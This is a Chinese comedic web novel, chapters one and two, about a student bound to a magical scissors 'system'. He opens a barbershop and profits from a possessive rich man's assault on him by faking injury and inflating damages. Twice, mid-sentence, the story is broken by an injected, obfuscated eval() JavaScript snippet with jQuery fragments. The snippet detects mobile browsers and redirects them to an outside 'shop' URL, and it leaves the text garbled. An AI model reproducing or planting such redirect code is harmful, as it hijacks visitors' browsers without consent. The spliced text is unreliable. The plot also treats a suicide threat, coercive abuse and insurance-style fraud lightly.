《狗血文里开爱情洗剪吹》 1. 唯一的爱情(1) 身为一位成长在红旗下根正苗红的社会主义接班人,甄信一向坚持唯物主义思想,在他有限的生命种都是无比平静地渡过。直到忽然某一天—— 那是一个普通的夜晚,他独自一人拎着烧烤走在回寝室的道路上。一边是灯火璀璨的大路,一边是曲折幽深的小径,鬼使神差地,甄信拎着一兜子烧烤就拐上了那条小路。 借着今夜明亮的月光,甄信忽然看到地上有一个东西在闪闪发亮。这浑身上下的好奇心呐,甄信实在没忍住,凑过去捡了起来。 一把看着就锋利的剪刀静静躺在他手心里。甄信也是手贱,下意识试试剪刀,手指快速挥动了几下,咔嚓嚓,还挺利索,应该是把好剪刀。 不是说,那些专业的理发剪刀一把甚至要上万,就算是简单的剪刀也得好几百,应该没人会把这种东西随手乱扔。既然是无主之物,他更不应该多手了。甄信想了想,小心翼翼把剪刀放回了原处,这既然不是他的东西,不如等在这让它的主人前来认领。 放下剪刀,感觉自己胸前的红领巾又更加鲜艳了。 甄信拎着烧烤继续往前走,没走几步,那熟悉的银光又在前头闪烁,他心里咯噔一下,强作镇定默念“富强民主文明和谐……妖魔鬼怪通通退散!” 下一秒,那剪刀忽然飞到了他面前,尖尖直指甄信双眸。 “唉呀妈呀——”甄信一声惨叫,拔腿狂奔,几乎是连滚带爬地回了寝室。四人寝里头静悄悄的,其余三个都国庆放假回老家了,这里只剩下他一个,月光照耀下的寝室被拢上一层神秘。 在被褥里头,依稀闪烁着那诡异的光。 那剪刀阴魂不散啊! 甄信蹭蹭蹭连退三大步,身体死死抵着门,随时准备着夺门而出。而那把剪刀忽然起身,倒飞到他面前。就在此时,一个声音出现在他脑海里。[欢迎绑定万事如意剪,请在三天之内开业你的桃花理发店,为这个世界斩断孽缘,寻觅真爱,建立正确的恋爱观。] 别管对方说得有多么天花乱坠,但这不就是红娘吗?不是,让一个大男人当红娘,它脑子没病吗? 况且——甄信指指自己,字字句句都是怀疑。[你说我,开理发店?我是学旅游管理的,你说当导游还能给你介绍两句,开理发店,我不会啊。我连剪刀怎么用都不知道,把别人头发剪呲了,这可是大麻烦。况且,我一个穷学生,哪里来的钱开店?] 可是提示音在继续,[恭喜您绑定桃花剪,您需要的破旧神秘理发店将在明天到达,请即使查收。您的桃花剪诚挚为您服务。] [不是,你这是霸王条例,不让拒绝的吗?] 就这功夫,剪刀已经绑定完毕,轻巧地飞到甄信身边牢牢贴着它,老大一把剪刀贴着他的□□,身心都是一样拔凉拔凉的。甄信试着把它藏起来,标准尺寸的剪刀硬邦邦的就躺在他口袋里头,隐藏不了一点。 这么废的吗?竟然连隐藏自己存在抖做不到,它也未免太没用了吧。 但这剪刀看着已经不动弹了,甄信索性抛开其他心思,翻身睡觉。就算是天塌下来,他也得好好睡上一觉,这事没得商量。只是今晚这梦境总是不大安稳,总感觉后头有剪刀在拼命追赶,吓得他手脚发软,走不动道。 第二天起来难免就困难了一点。寝室里头另外两个牲口还没回来,依旧沉浸在国庆的欢乐氛围中。都说七天乐,这才第二天,他还得独自熬上好几天呢。在这祥和的国庆氛围中,他手机忽然收到了一条短信,“你租住的店铺电费不足,请及时缴费……” 不是,他什么时候有店铺了,里头还产生了电费。甄信拼命摇着手边上那把剪刀,想要它强制开机。[你给我说清楚,电费是怎么回事,我怎么会多一家店铺?快点,说清楚,不然我给你送到臭水沟里去。] 剪刀晃晃悠悠了两下,上头浮现了一些小字,[抱歉,仅为宿主提供基础的工作场所,因工作场所产生的一切花费需要宿主自己承担。] 要让他自己承担的话,这电费到底的哪个账户出的? 甄信忽然想到了什么,掏出手机看自己银行卡余额,个十百千,我生活费呢?家里刚打的半年生活费呢?到底去哪儿了?不翼而飞了?他拼命摇晃着剪刀,试图让它把自己生活费吐出来。 这和抢劫有什么差别,直接把他银行卡余额抢劫走了?以前系统都是给人提供各种升级装备,他这系统牛了,合着到他这打劫来了,要他的钱,怎么不干脆一剪刀把他戳死算了? [这是我的钱,还回来,你别装死,还回来!]可这把剪刀一动不动,仿佛从来都没挪动过一般。什么玩意儿,把钱搞走了就装死? 总之,一番波折过后,甄信还是站在了那家小破理发店门口。还能怎么办呢,就看着自己钱凭空消失,这店虽然破烂了一点,好歹也是一家店,有地方这钱就有回来的可能,不然只能对着自己失去的钱痛哭流涕。 就是吧——谁脑子想不开来这种小破巷子里的小破理发店,就剪个五块钱的头别人看着环境都得在门口驻足不前。这和地狱开局有什么差别? 人生最大的价值是不是在于知道什么时候应该放弃?郝信最大的优点就在于相当有自知之明。不该他赚的钱他绝对不碰。他犹豫了一秒,直接把剪刀放在了店铺里面,“要不这样,我把你放在这儿,你都有店里,找下一个倒霉……不……下一个宿主应该挺容易的吧。” 郝信默默把剪刀放下,坚定地往后退了两步。 可这死剪刀突然飞起,狠狠一下扎在他旁边墙上,入墙三分。那微微晃着的剪刀尾无一不在说着刚刚的凶险——这剪刀刚刚是想要他的小命吗? 至于吗? 他不过就是想要商量一下不打这份工,至于直接想把他弄死吗?真的每分每秒都透露着离谱,但人在屋檐下,不得不低头,甄信立刻举起双手投降,“我知道了,知道了,我不把店抵出去,我试试看,试试看行不行。” 剪刀突然变松了许多,一点点缓缓落下——这事是过去了? 这是硬要把这活儿给他是吧,就干脆把强买强卖这事弄到底?行。他怂,他认输。 这些家伙全都是大爷,就他一个彻头彻尾弱势群体好欺负,信不信他干脆釜底抽薪直接来个斩草除根,一拍两散。对了,他怎么没想到呢,你说他们现在也算是一荣俱荣一损俱损,要是他拼着这条命不要,最后结果可能如何? 按照一般常理来说,他这条命或者对选择他的这玩意儿来说多少也是有点用处的吧,不然他为什么非要粘着自己不放,闲得吗? 甄信拿起那把锃光瓦亮的剪刀,仔细地抚摸着,光从外表上能够看到这剪刀被保养地很不错,上头闪烁着亮光,从这个角度来说,应该挺快的。他不着痕迹地称赞了这剪刀两句,“真是一把好剪刀,能拿到这么珍贵的东西简直是我上辈子修来的福气,要不……” 他把心一横,直接把剪刀驾到了自己脖子上,“要不我们干脆下辈子见,这一生,我过得也不怎么样,不如直接重开吧。再见了,这该死的人生。” 锋利的剪刀朝他脖子越靠越近,好像马上就要给他脖子开个大窟窿。甄信往前的动作突然停住了——那剪刀猛地停滞在空中,拼命组织甄信把自己往脖子上怼。 不是,现在年轻人气性那么大吗?一言不合就直接自杀,至于吗?这人生不够美好吗,好不容易有一个重新开始的机会这样就放弃了。 甄信眼里的光彻底黯淡,手上力气加大,一点点让剪刀靠近自己脖子,“别拦着我,没有作用的,就让我的生命在这里静悄悄地结束吧,这样对谁都好。” “不不不,停——”剪刀试图从甄信手里挣脱,可这时候那家伙力气不知道为什么突然那么大,死死拽着它让它竟然动弹不得。甚至还在一寸一寸靠近他脖子,在这紧急时刻,它只有一个念头——绝对不能让这家伙死在这儿啊! “等等——就算你现在死了也不可能回到原来的世界的!”慌不择路之下,他竟然直接把这句话秃噜了出来。 糟糕——它不应该和甄信说这些的,这些应该是永远要被保守好的秘密。甄信的力气忽然变小了,把它握在手心仔细端详,“所以,我之前的猜测没错。我果然是换了一个世界,说说吧,到底怎么回事。” 虽然这个世界竭力保持着正常运行,但是在涉及到某些事情的时候,会突然走向十分离奇的发展方向。比如他高中老师竟然和自己的男学生相恋,他们两个在楼顶谈天说地,为了在一起甚至差点做了一对亡命鸳鸯。 看到他们之间如此感人至深的情感,那位男老师的老婆竟然被这爱情感动了,主动退出让他们能够毫无负担的在一起。而他周围所有同学竟然在兴奋鼓掌。 那时候他就觉得,要么是自己换了一个世界,要么这个世界疯了,道德在哪里,底线在哪里。他们是不是天天看所谓的恋爱小说,整个脑子被恋爱吃了啊。那男老师老婆简直倒了血霉,不是成为了男同play的一环吗? 你自己既然喜欢男生为什么要结婚啊,自己静静在一边发烂发臭不就行了吗?从那之后,他就知道自己好像接触到了一点世界的本质,这地方好像有某个地方坏掉了。 “是的,因为负责这个世界的姻缘神发生了一点问题,所以需要我们把不正确的姻缘拨乱反正。同学,这个世界的爱与和平需要你。”剪刀拍拍他肩膀,试图对他委以重任。 他这个年纪干拯救世界的活儿?是不是真的太看得起他了?甄信往后退了两步,意思相当明确。“算了算了,要不我还是直接重开?” 这神神叨叨的玩意儿一听就不是他能玩得转的,还是早点洗洗睡吧,说不准梦里还能幻想一下未来。甄信张了张嘴,试图说服一下这把固执的剪刀。他真的很想好好上完自己学,然后考一个公务员,就此过完平凡一生。现在这出来开理发店算什么啊,他现在的父母会偷偷在家里哭泣的啊。 好好的儿子,好不容易供上了大学,他却只想要回家开一个破理发店,这算什么啊。 “顾浩宸,你放开我,在外面拉拉扯扯到底算什么样子。我警告你,我不只是属于你,我更是属于我自己。”一个尖锐的女声在外头响起——听着应该是小情侣吵架了。 甄信犹豫了两秒,还是决定先放下剪刀出去看热闹,这商量的事情什么时候都能开始,但热闹没有了就再也不知道什么时候能看着了。他也知道看热闹基本法,隐蔽,安静,减少存在感。他也不出去,直接站在门口悄悄往外看。 为了让自己看着更像那么回事,他甚至拿了块抹布煞有介事在那儿擦,这样在别人眼里看起来总归是天衣无缝了吧。 身穿黑西装的精英男一把拽住男孩纤细的手腕,眼里是不容掩饰的占有欲,“白明轩,我早就告诉过你了,你是属于我的,在这个世界上,你只能专注地看着我,你刚刚干了什么你知道吗?” “顾浩宸,你能不能好好当个人。我就是出去和外卖小哥说两句话而已,别人干什么了,我还不能和别人有个正常的交流吗?你简直让我觉得恶心,你就是一个怪物,彻头彻尾的怪物!” 哇哦,真的是相当精彩,看着是在走什么强制爱剧本吗?甄信看得实在上头,恨不得自己手上多个瓜子饮料,干看多少有点干巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299546|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是。再看旁边的剪刀,不知道什么时候紧贴着玻璃,生怕自己少看了一星半点。 啧,这家伙,果然还是和第一眼看到的一样不靠谱啊。 那头两个人的争吵逐步升级,顾浩宸猛地扯下领带,解开顶上两颗扣子——咱也不知道他这时候为什么要突然插入这个动作,多半是为了耍帅?但他就是那么做了——紧接着是经典的一抹嘴唇。 来了,马上就要来了。 顾浩宸薄唇轻启,说出了那几个字,“男人,你是在玩火。” 啊——终于来了。现场观看名场面。不是,世界上怎么会有人真的在现实中念出这种台词啊,不觉得尴尬吗?甄信被肉麻地手脚蜷缩,恨不得用脚趾在地上挖出三所大别墅。 现场听到这种台词还是太超前了一点。 甄信僵硬转头试图逃离现场。他是不是应该撤了,虽然这件事暂时谈不拢,但是也得把店里卫生打扫一下,这样万一甩不出去还能把房子租出去赚点差价弥补一二。但这脚就是黏在地上一动不动——你这该死的好奇心,甄信,迟早有一天你要死在这该死的好奇心上。 可大概白明轩并不是这样认为,他直接甩开顾浩宸的手,眼底的青黑无一不显示着他的崩溃,“顾浩宸,算我求求你了,放我走好不好,我真的受够了,我是一个人,我需要自己的生活,自己的空间,就让我们好聚好散不行吗?” “白明轩,你这个狠心的人。之前是你要走进我生活的,现在又要把我给抛下。既然你要走,怎么不干脆把我的命也带走,用你这只残忍的手,直接把我胸膛里跳动的心脏挖出来。来啊。” 他一边说一边直接把白明轩手往自己心口怼,“你都走了,我活着还有什么意思。”顾浩宸私下环顾,怎么都没看见什么趁手的工具,就在这时,他的眼睛对上了某位围观群众—— 还有他手中锃亮的剪刀,简直在黑夜里闪闪发光。 不会吧,他竟然和自己对视了,甄信啊甄信,之前让你走不走,现在见鬼了吧。甄信赶紧装作擦了两下门上玻璃,迅速转身。 但——迟了—— 顾浩宸拽着白明轩手腕,大步流星地朝这边走过来,一把推开了脆弱的玻璃门,“白明轩,既然你没做好准备,我帮你找找工具,就用这把锋利的剪刀结果了我的性命,从此你就彻底自由了。” 剪刀,什么剪刀?! 剪刀本身浑身僵硬,头一次想要违反系统定律直接动起来。但是违反纪律扣分真的很多啊,它两年直接白干。如今只能僵硬着待在甄信手上——求求了,甄信,发挥你大力的特征,千万要保护好我,不要让我被人夺走啊。 转眼间顾浩宸已经来到甄信面前,试图一把抽出甄信手中剪刀,用力抽了一次——没拿动,那剪刀被另外一个人牢牢握住,不能移动分毫。 他双眸着闪着明确的自信,淡定地命令道,“喂,你把剪刀给我!” 如果是普通人肯定屈服在他此时的命令之下,面前这个穷学生估计也不会例外。但甄信眼皮都没有抬一下,冷冷了回了几个字,“不行,这是店里剪刀,概不外借。” 他说不借,顾浩宸难道还不会抢吗?这么明晃晃的一把大剪刀放在桌上,他拿来使使也应该犹如探囊取物一般轻易。他自信地伸出手,一把抓住了那精致的剪刀——没拿起来。那剪刀看着像是平平地放在桌上却滑不溜手,他一碰这剪刀就从手上闪了过去。 难不成这剪刀还长腿了能跑啊。 能不能跑倒是不清楚,但甄信倒是把抽屉一开,顺势把剪刀扫到了里头,“这位先生,你突然过来在我这店里吵吵闹闹的总不太好,有什么事好好说,不要动手。” 话音刚落,顾浩宸那眼神就跟淬了毒一般,直直地扎在甄信身上,身上仿佛有火焰在熊熊燃烧,怎么了这家伙,说两句话就变态了,要给他来个活人大变身?哎呦呦,好怕怕哦,他甄信活了那么多年,虽然一时不察穿书了,但也不是吓大的,无论在哪个世界,这基本法律法规要遵守吧,所有和法律对着干的世界都已经被严肃查办了。 他怕什么,法律就是他最大的后台,红星照耀之处总能看见光明冉冉升起。 甄信一个起身直接和顾浩宸对峙,“您好,这是我的店铺,请您出去,如果您再这么做我要报警了。” 啪——耳光重重地扇在他脸上,白皙的脸颊上迅速起了一片红痕。甄信打小就脸皮薄,稍微一点磕碰在他身上看起来总是比别人严重些。 但这个痕迹好像打开了顾浩宸身上什么开关,他一脚踹翻了甄信店里头的理发凳,不知道从哪儿抽出一根棒球棍在店里肆意破坏着,眼前看到的一切统统都要彻底毁灭掉,还不忘甄信挑衅,“怎么样,这是你的店吗?你也不出去打听打听我是谁,在我面前大放厥词!” 甄信手机拿着默默拍视频,顺便还附和两句,“这里是我的店,先生,你无缘无故冲进来打了我,又砸了我的店,不需要向我道歉吗?” “道歉?你算什么东西,我要和你道歉?”顾浩宸一棍子挥在墙上,那力道震地墙皮都簌簌往下落灰,“我今天打你就打你了,不服就憋着。” 白明轩实在受不了,闭上眼睛大喊,“顾浩宸,你这是干什么?你赢了,我跟你回去。这是我和你之间的事,和别人没有关系!” 甄信瞪大了眼睛。 不是,这什么情况啊,顾浩宸在这里砸东西,这位小哥和他回去?这是在他店里进行什么特殊play吗?难不成光天化日,朗朗乾坤,那家伙还会当场谋杀?不是,狗血文的逻辑就是所有法律问题都用爱情来解决,这逻辑不对吧。 2. 唯一的爱情(2) 爱情那么纯粹的吗?一点金钱都不要? 甄信忽然悟了。难怪这恋爱谈不下去呢,一个跟那个大脑没发育的暴力狂一样,动不动就摔东西,一个整天沉浸在自己世界里,一个发狂一个哭,完了还看不到钱,这事搁他身上他也闹心。就这么整还想的是和他之间解决内部矛盾,拿自己身体无私奉献啊。 别人白莲花赛道也没那么白目。 顾浩宸充血的眼球渐渐平静,他伸出舌头在棒球棍上缓缓舔过,陈年墙灰在他舌尖停留,留下暧昧的光影。他一点点把唇齿间残留的血腥咽下,仿佛此时就是将面前的白明轩拆吃入肚,“明轩,你知道的,在这个世界上我只在乎你,只要你乖乖的,所有人都会好好的。” 白明轩放弃了,只是他的双脚依然牢牢钉在原地一动不动,他眼神里的光渐渐熄灭,一如他的人生,从遇见顾浩宸开始就已经失去了希望,可他无法改变,只能任由命运带着他四处漂泊。 或许——只有他死了,这一切才能迎来解脱。 不是,他们这贫瘠的大脑里头没有任何对法律法规的认知吗?就这样明目张胆威胁人,哇哦,真的,这个世界真的每时每刻都给他充分的震撼,癫公们每天都有新的打开方式,大开眼界呐。 每次看到这些家伙,他都会充分感受到所谓世界的参差——这年头,当个正常人都那么不容易了吗? 白明轩看一眼身后的高悬的明月,它们看着都如此自由,而他——不过是这个世界上被囚禁的那一个,他到现在也不知道到底是哪里出了问题,他为什么会沦落到现在这个境地。但他知道,这是他和顾浩宸两个人之间的事,不能再牵连更多人了。 他缓缓往前一步,仿佛是在和自己逝去的自由告别,一切打不败他的只会让他更加强大。即使现在暂时受挫,总有一天,或许他也会迎来属于自己的光。 即使离开,他也没有忘记安抚身后被无辜卷入的老板,“老板,抱歉,我们这就走,你放心,你是安全的,我不会让他对你做什么的。” 不是,两位癫公,你们到底有没有搞错,现在是你们想走就走的问题吗?打了老板还把店里打个稀巴烂,这是你拍拍屁股就能走的问题吗? “等等。”甄信晃晃手机,提醒两位恋爱男主角注意,“警察马上就都到,有什么事我们当着执法记录仪说清楚。” 熟悉的蓝红光闪烁着靠近,两位警察都车上下来,脸上还带着明显的疲惫,“是谁报的警,发生了什么?” 你看看,底气现在不是来了嘛。甄信蹭一下躲在两位年轻的警察叔叔后头,未语泪先流,“警察叔叔,你们可算是来了,他想要杀了我,这就是谋杀未遂!你快救救我。” 顾浩宸活到现在,从来都没有人能在他面前诬陷他的,一股怒气直冲脑门,他三步并作两步冲过来,举起手上棒球棍就想给甄信一个印象深刻的教训,“你张嘴瞎说什么呢,是个男人就滚出来和我一对一!” “对对对,刚刚他就是这么做的,差一点,那棒球棍就要给我脑袋开个大窟窿。”甄信往后一跳,打定了主意就想要当个缩头乌龟。 怂不丢人,被揍得抱头鼠窜才是真的问题大了。 这家伙当着警察面胡说八道什么,那时候不过就是给了他一巴掌吗?就这一巴掌,他还想要多少赔偿?顾浩宸火气更大,抄起棒球棍想要当场让甄信试试。但他怎么不想想,之前是只有他们三个,现在两警察那么两个大活人杵着,还能让他当着警察面把甄信打了不成。 左边那警察一个箭步上前把顾浩宸按着,另一个抬高肩膀上执法记录仪呵道,“别动,你现在是要当着警察面行凶吗?拷上,跟我们回警局!” 五个人刚好挤挤坐一车。白明轩陪着顾浩宸在后座,甄信坐在前头,他还不忘偷偷转头回头看两眼——你说这平时人模狗样的有钱人被拷上警车看着也有点狼狈,所以他一开始不就说了嘛,法律面前人人平等,正义虽迟但到,在这个法治社会他有什么好担心的。 一到警局,甄信这伪装的镇定自若好似瞬间全都消散了个干净,马上带了哭腔,“我就是好不容易盘了个店想要开理发店,这个老板一进门就给了我一巴掌,还把店里头所有东西都砸了个稀巴烂,我也是没办法,吃饭的家伙都被他毁了,还想要拿我的剪刀去伤害这位帅哥,我也是……” 顾浩宸被控制在座位上,恨不得用眼神杀死甄信,“不过就是一巴掌,我赏你应该感恩戴德,怎么着,还想着到我面前显摆!”他那愤怒的样子好像下一刻就要暴起伤人——看着更像有暴力倾向了。 本来到派出所就可以把他放开了,但现在这情况,还得继续拷着不是。你说这做人吧,改怂的时候就得怂,一天到晚撅着个脖子大吼大叫什么,还真把自己当保护动物了,一昂脖子就会有无数人上来嘘寒问暖?怎么着,还真把自己当大熊猫了?不过,人家熊猫才不会那么不懂事呢。 甄信无比伤心,眼泪鼻涕一把,手上动作一点不慢,直接把自己拍的视频放在警察面前,“你们看,我这好不容易弄好的店里头,什么都没了,还有我那国外进口的工具,吃饭的家伙,全都没了。他还不如真把这棍子敲在我身上,我还不用面对现在这情况。” 即使在这样的境遇下,他依旧迅速冷静下来,眼泪一抹表达自己诉求,“这样,人也要争口气,反正我这店也就这样了,我也不想着和解,我总不能让人就这样踩着我脸面。” 不和解——就这情况,顾浩宸妥妥地进去拘留了。 而且在警察面前行凶未遂,有执法记录仪记录甚至可以当做刑事案件,这事件性质一变,他们想要捞顾浩宸可就没那么容易。难道集团还能有一个身上背着刑事案件的CEO吗? 一双手忽然按在了桌上,上头那表看着挺贵,镶钻的劳力士。甄信抬头一看,豁——完全没见过,就是个彻头彻尾陌生人。但那陌生人忽然对他露出了一个极其温柔的笑,相当熟络地和他寒暄,“哎呀,你这是何必呢,都和我们顾总认识那么久了,你也知道我们顾总这脾气,一涉及到白先生就大脑不上线的。都是朋友,没必要把事情弄得那么难看。” 你谁啊,上下嘴皮子一碰他和顾浩宸就是朋友了? 都说律师巧舌如簧,还真是不假,这样他就和那家伙是朋友了,起开点,他和那家伙不共戴天。就在这时,甄信忽然感觉上衣口袋一沉,好像有人把一个什么东西塞到了他口袋里,摸着大小好像是一块表。不会吧,这就是传说中的当场贿赂,他今天也能遇到这种事? 那陌生人十分自然地在甄信旁边坐下来,直接和他开始唠嗑,“我是顾总专用律师小徐啊,之前我们在公司见过的,您忘了?我也知道,你肯定很生气。我们顾总喝醉了就是这样,你看着他这人好像还清醒,其实已经醉地不得了。您和顾总又是老相识,今晚上又受了罪,那这赔偿方面我们肯定是义不容辞的,你算算这店里头损失,我们全都按五倍赔偿,等明个儿顾总酒醒了,我再让他亲自上门赔罪,这朋友之间哪里有什么隔夜仇。” 其实严格说起来,顾浩宸这举动还真是全都未遂,你说这个小年轻要是一定想要和他们干起来,还真不一定谁输谁赢,毕竟大家之后都要生活,你说现在就把关系弄僵了,他们这些开公司的找些人,天天给你捣乱,你这日子还要不要过了。 也不是人家当警察的要偏向谁,而是——生活总是有很多无奈,他们有时候也不想和稀泥,但不和稀泥又能怎么办呢?在打官司的路上,你的生活面目全非,最后也不一定对方能得到应有的惩罚,这付出和回报实在不成正比。他们干这活,想的不就是大家都能好好地,安全地,正常地生活嘛。 所以,警察也顺着律师这话往下说,“对,这位先生,你看看你受到的伤害,他这行为对你的人生安全有极大威胁,你完全可以在合理范围内进行索赔。而且你现在看看这头部有没有什么损伤,需要去医院进行进一步的验伤吗?” 你说头部,甄信马上有了灵感,人也开始晃悠,“从刚刚他扇了我一巴掌开始,我这脑袋就感觉晕乎乎的,看你们也有点重影,你说,这人可真脆弱啊,一点点小磕碰马上就不行了。” 徐律师闻弦歌而知雅意,立刻在和解书上加上了这一条,“脑袋上可是大问题,万一耽误了可真的是大麻烦,这样好了,我们先按照一般标准,给您出个三万赔偿,若是后续还有什么费用产生,我们这边加上误工费一并在尾款上补上,这些我们都写在合同里头。” 这家给得大方。 甄信捏着口袋里头手表,忽然感觉自己气量大了许多,这做人都开阔了。“都是朋友,算了,我也不计较的。他现在越来越不像样了,直接拿着棒球棍在我面前挥舞,喊他他也不听,这次在我店里还好,要是碰到了别人怎么办。都是安全隐患,不知道的还以为你们家老板超雄,想要毁灭社会呢。” 之前认下了两个人认识这点,即使当面被数落几句,徐律也得点头称是,“当然了。这个是原则问题,就算是朋友也不能轻轻放下的。这不是我过来了,我们在派出所里面也算有个见证,开诚布公把所有事情都说开,改理顺的事情都整理清楚,这样之后就没有任何问题了是吧。” 白明轩只是在一旁默默垂泪。 看到他的眼泪,顾浩宸的理智好像总算回归,不再叫嚣着要给甄信一个终身难忘的教训。这具体赔偿不就是可以落实了嘛。 甄信拿出自己计算器噼里啪啦一顿按,“徐律啊,我这刚运来的中古风理发椅,实打实欧洲进口高级皮,全都踹烂了,钱倒是小事情,问题是一样的款式得等下个月才能到货,你说说这事怎么办,还有我那墙面,全毁了。这些都是小事情,我好不容易凑齐的一整套剪刀,全稀巴烂不好用了。我可是定制的大师级手艺,一把剪刀就好几千,还得等货才能有。你可不要说我骗你,不信我把发票给你看。” 发票肯定是没有的,大不了直接现场P。但是想想,他们这么要脸的人家会当场和甄信掰扯发票的问题吗?那定然是不会的。地有多大产,人有多大胆,只要人有梦想,这些赔偿统统都会有。 甄信低头真打算把发票翻出来。徐律一把按住甄信手机,急忙说,“哎呦呦,您真是干什么,我还会不相信吗,这东西肯定是有的,您算仔细了就行。” 按理来说,徐律身为顾浩宸律师,肯定是要帮着顾浩宸省钱的,但是——这顾家口袋里出去的钱和他姓徐的又有什么关系? 能把事情解决了是他的能力,要是钱用的不到位,别人一个回马枪杀回来要他负责,到别人嘴里还变成他能力不足。做人就是不应该和这些资本家共情,又不是他口袋里的钱,多掏一点怎么了? 徐律大笔一挥,直接在上面写了——剪刀套装三万九千八,室内装修九万八。主打的就是一个到位。 这数目写着,旁边看着的民警都觉得有点心惊肉跳,语气也和缓了不少,直接和甄信商量,“你看看,甄先生,觉得这个赔偿满意吗?要是可以调解,这边协议签了,大家抬头不见低头见,以后还能是朋友。” 满意,怎么不满意,就这一巴掌直接给了三万,店里东西只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299547|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值三千,一下变十万,这是直接进入小康,达成质的飞跃,哪里能不满意啊,没看见他脸上这笑容再不压一压都要从颧骨上飞出来了。 谈好这些,徐律也是敞亮,这边还没签字,那边赔偿直接到位,主打一个让你放心。这字签的怎么就让人那么打从心眼里头乐意呢。果然,这些事好不好,还得是看人。 [你的账户到账168,700.00元。] 这数字不仔细看看都还以为自己眼花呢,四舍五入他甚至算是给自己攒了个首付?这谁嘴角不得裂开可劲笑啊。甄信活动一下自己的嘴角,试图让自己丑恶的嘴脸不要暴露地那么快,竭尽全力保持自己的平静,说起了下一件事,“不过,我这是朋友,我知道他是有口无心,这事当然都能好好地过去,但一码归一码,他对那位白先生是不是过了点,我在旁边看着都心惊肉跳,正因为我是朋友,我可不能眼睁睁看着他犯错误啊。” 救人一命胜造七级浮屠,又进步了呢,甄信。我果然是强到不行。 但来都来了,人不能只想着自己幸福,是不是还得看顾一下身边的人,这叫做达则兼济天下,今天他甄信也做一次救苦救难的活菩萨,普度万千世人回到人间。 他还特意添了一句,“所以,我实在是有点看不清楚,他们两个要是那种关系呢,是不是应该对他好点。如果不是,这事就更加过分了。两个人相处呢,离不开最基本的就是互相尊重,反正我是看不清楚。那位小白先生,你和顾浩宸到底什么关系?” 如果白明轩现在说他们就是认识的人,民警肯定现在就让他走了。甄信再留下来和他掰扯一段时间,他想去哪儿去不了,这叫合理争取时间。 再不济,你自己承认关系,然后说他对你做了什么,律师在这边,不是顺理成章也给你弄点赔偿。这人生在世总得图点啥吧,不图身体不图钱,难道谈个恋爱过来无私付出了? 白明轩愣了一下,在这之前,从来没有人问过他这个问题,以至于他现在听到明显有些陌生,他不知道自己应该回答什么,也不确定自己到底应该怎么做。他只是愣愣地在原地坐着,好半天才吐出几个字,“不,他只是不知道和我怎么相处而已,他……他……不是个坏人。” 现在说他不是个坏人,大哥,你是不是谈恋爱谈到脑子瓦特了? 他现在是在给你争取合法权益啊,你上下嘴皮子一碰直接把事情性质变了,那他们之前在干什么?说了那么大一通都是为了挑拨他们之间的关系吗? 啊……这…… 甄信一肚子脏话全都又咽了回去,他还能当场削白明轩不成?甄信只能默默安慰自己——他们是恋爱脑,恋爱脑,不能用常理来判断,你认真就输了。不要生气,先保护好自己。 很好,这样一来,自己心情莫名好了很多呢。 [你无法改变他们个人的命运,除非在你开的理发店里使用剪刀给他们理发。] 从头到尾装死的系统又上线了。不说他还以为这家伙一定要随身放着才能有用,他还担心这管制刀具要怎么搞——原来这家伙能够远程控制,之前就是为了故意折腾他没跑了。 又是一个崽种。 不气不气,气出病来无药医,心平气和,无事发生。[不,我的原则是尊重个人命运。你看他们这样子也不太像是需要我拯救。]就恋爱脑总不至于把脑子给吃了吧。他多少是有点不信的。 [世界上所有人都有选择,只是他没有。即使他今天逃跑了又能怎么样呢,他的人生,他的一切早就已经和顾浩宸牢牢联系在一起。如果今天他离开了,他的家人怎么办,他们会代替自己进入无穷无尽的地狱中。其实顾浩宸也是爱他的对不对,只是他的爱有些偏执,偏执到世界上仿佛只剩下他们两个人……] 系统在他脑子里一板一眼地念着原文,那机械的嗓音,真的每分每秒都在挑战他的神经,这玩意儿和精神污染有什么差别,怎么就没办法投诉他呢? 甄信迅速败下阵来。这人是真的扛不住,脑子里循环废话文学,搁谁身上受得了啊,本来人生就艰难,还得每天被迫听着王八念经,算了,还是睡眠比较重要。 [停,我管行不行。] [提示,不能采取强迫的方式让相关主人公进入理发店,也不能以任何形式透露相关情节,否则会导致严重后果。]都这情况了还玩姜太公钓鱼愿者上钩这一套?难怪那时候这世界被这些家伙玩完了呢。他看着也是迟早要完。 啊,不行不行,他这人生好不容易再次开始,口袋里钱没花完,人死了,多冤啊。 使不得使不得。 从现在开始,他的人设就是一生毒舌致力于拆CP的小区理发店老板。甄信马上接过白明轩话茬,“怎么了,他在你心里就那么完美,一个大男人和你发脾气你还惯着?小哥,这恋爱可不是这么谈的,两个人就应该公平对等才是。总是只有一方付出算什么,迟早这日子会过不下去的。” 从头到尾,顾浩宸就蹬着一双大眼睛看着他,那眼珠子都快要掉出来了,咋地,还以为全世界都得喜欢他那宝贝蛋?甄信还不得先把自己撇开嘛,“看我干什么,怕我移情别恋到你那大宝贝上面?干嘛,这世界总不至于全都是喜欢同性的吧,我以后可是要结婚生子的。别拿你那绿豆小眼睛来蛐蛐我。” 顾浩宸却依然不满意,眼神仿佛浸透了所有恶念——不是,这还没完没了了?事不过三啊,再继续盯着他,他可要反击了! 白明轩却放弃了,枯坐在顾浩宸身边,“顾浩宸,我求求你,今天到此为止吧。” 3. 唯一的爱情(3) 